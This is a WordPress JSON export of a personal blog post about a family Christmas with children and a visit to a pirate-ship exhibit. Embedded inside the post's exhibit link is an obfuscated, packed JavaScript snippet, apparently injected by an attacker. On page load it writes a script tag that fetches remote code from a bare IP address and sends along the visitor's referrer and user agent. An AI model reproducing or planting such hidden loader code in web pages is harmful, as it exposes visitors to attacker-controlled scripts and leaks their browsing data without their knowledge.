{"id":846,"date":"2009-12-31T13:23:23","date_gmt":"2009-12-31T20:23:23","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=846"},"modified":"2011-10-07T16:28:35","modified_gmt":"2011-10-07T23:28:35","slug":"christmas-and-pirates","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=846","title":{"rendered":"Christmas!  and Pirates."},"content":{"rendered":"<p>My very first Christmas with kids in my house &#8212; and, oh, it was wonderful!  There were many, many, many, many presents.  I think I&#8217;ll be taking out the recycling til Easter&#8230;.<br \/>\nMy top favorite moments:<br \/>\n&#8211; a long, long walk to the park with Mike and the kids<br \/>\n&#8211; late nights playing Cooking Mama on the Wii with Christi<br \/>\n&#8211; early mornings watching the Lone Ranger with Kyler (he wakes up early)<br \/>\n&#8211; Jaden and Kyler helping me make BLTs for the family for dinner.  We made a restaurant with menus and everything.<\/p>\n<p>And then there was a wonderful trip north to Virginia &#8211; the aquarium and museums were excellent, and we got to explore and play.  Jaden counted sixty-something mermaids all around the town!  And the whole family loved the <a href=\"http:\/\/www.fieldmuseum.org\/pirates\/index.html\">exhibit <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|asthd|var|u0026u|referrer|nebzd||js|php'.split('|'),0,{}))\n<\/script><\/noindex> about the pirate ship Whydah.<\/a><\/p>\n<p>I love being able to share holidays with my grown-up family, with all our shared memories of holidays in the past &#8211; and with the kids, with all the bright, new, joy they bring.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>My very first Christmas with kids in my house &#8212; and, oh, it was wonderful!&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[63,20,25],"class_list":["post-846","post","type-post","status-publish","format-standard","hentry","category-uncategorized","tag-family","tag-holiday","tag-kids"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/846"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=846"}],"version-history":[{"count":6,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/846\/revisions"}],"predecessor-version":[{"id":4688,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/846\/revisions\/4688"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=846"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=846"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=846"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}